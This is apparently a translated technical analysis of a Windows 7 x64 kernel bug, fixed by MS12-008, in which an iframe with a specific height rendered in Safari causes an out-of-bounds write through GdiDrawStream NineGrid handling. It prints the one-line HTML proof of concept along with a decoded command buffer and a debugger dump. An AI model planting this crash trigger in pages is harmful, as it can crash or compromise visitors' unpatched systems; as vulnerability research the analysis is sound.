このコードを聞いたことがない場合は、Safari で実行したときに x64 ビット Windows 7 で BSoD クラッシュが発生します。
<iframe height='18082563'></iframe>
当然のことながら、問題はそれがどのように正確に発生するかということであり、なぜ 18082563 であり、「1808256 4」とは言わないのでしょうか?
それに対する解説です。
このバグは、XP 以降で Windows テーマを処理する UX テーマ DLL に代わって送信された GdiDrawStream を介して送信される NineGrid 要求が原因で発生します。
Webkit ブラウザーは (IE8 とともに -- IE9 ではないように思われます)、OS のネイティブ スキンを使用してページに HTML 要素をレンダリングしようとします。この場合、drawControl 関数 ( http://www.opensource.apple.com/source/WebCore/WebCore-658.28/rendering/RenderThemeWin.cppを参照) で、OS コントロールのスキニングを処理する DrawThemeBackground が呼び出されます。
96 (0x60) バイトのバッファーが送信されます (GdiDrawStream のパラメーター 2 と 3 はサイズとバッファー アドレスで、パラメーター 1 は HDC です)。
Draw Steam バッファはマジック値で始まり、その後に 32 バイトのマーケットで識別される一連のコマンドが続きます。以下は、Safari で表示したときに特別な iframe で送信されたストリームです。
44727753 = 'DrwS' = ドローストリーム マジック
コマンド バッファ:
#0: 00000000 <SET TARGET>
3b01017a // Destination DC (hdc) *** Must match HDC in GdiDrawStream argument 1 ***
// Destination Clip (ERECTL):
0000011b // Left
00000011 // Top
0000012c // Right
0089f580 // Bottom *** Multiply by 2, and you get the "magic" value used in the iframe PoC ***
#1: 00000001 <SET SOURCE>
058506a3 // Source Surface (pso) *** Dumped the surface from kernel mode, got a 13x5 32BPP bitmap which is the Luna/Aero scrollbar slider control ***
#2: 00000009 <NINEGRID>
// Destination Clip (ERECTL): *** Should match the Destination Clip of the Target
0000011b // Left
00000011 // Top
0000012c // Right
0089f580 // Bottom
// Source Clip (ERECTL): *** Should be within the bounds of the surface (which is 13x5 in this case)
00000000 // Left
00000000 // Top
0000000e // Right
00000001 // Bottom
// NINEGRID_BITMAP_INFO *** Documented in RDP docs. Should fit within the surface and destination.
00000001 // Flags (DSDNG_STRETCH)
0000000a // Left Width
00000003 // Right Width
00000000 // Top Height
00000000 // Bottom Height
00000000 // Transparent
生のダンプは次のとおりです。
0: kd> dds @r8 l18
00000000`003be664 44727753
00000000`003be668 00000000
00000000`003be66c 2b0108d5 // HDC, this will change from dump to dump
00000000`003be670 0000011b
00000000`003be674 00000011
00000000`003be678 0000012c
00000000`003be67c 0089f580
00000000`003be680 00000001
00000000`003be684 018503c2 // Bitmap Surface, this will change from dump to dump
00000000`003be688 00000009
00000000`003be68c 0000011b
00000000`003be690 00000011
00000000`003be694 0000012c
00000000`003be698 0089f580
00000000`003be69c 00000000
00000000`003be6a0 00000000
00000000`003be6a4 0000000e
00000000`003be6a8 00000001
00000000`003be6ac 00000001
00000000`003be6b0 0000000a
00000000`003be6b4 00000003
00000000`003be6b8 00000000
00000000`003be6bc 00000000
00000000`003be6c0 00000000
基本的に表示されているのは、特に興味深い高さを持つ iframe です。スクロールバーが描画され、テーマが設定されている場合、NineGrid 変換の数学エラーにより境界外書き込みが発生します。この PoC は IE 8 で動作しますが、IE 8 には最大ピクセル制限 (約 1342177) があるというよく知られた CSS バグがあり、それがすぐに現れない理由です。
その他の高さは悪用可能であり、IE 8 でさえ NineGrid の高さのコーナー ケースに収まるほど小さいものもあります。
IE9 は UxTheme を使用してコントロールをテーマ化していないようで、スクロールバーの動作が IE 8 とは異なるため、ピクセル制限がなくなったにもかかわらず、PoC は機能しませんでした。Firefox はテストされていません。
脆弱性があるのは、IFRAMES だけではありません。同じ高さの HTML でテストすると、Safari でもクラッシュしました。
これが意味することは、コントロールのスキニングを行うローカルまたはリモートのクライアント (つまり、それらのほぼすべて - フラッシュ PDF のボタンでさえも) が、このバグにヒットする NineGrid 変換を引き起こす可能性があるということです。WebKit に固有のものではありません。
注として、MS は最近、これを修正する MS12-008 をリリースしました。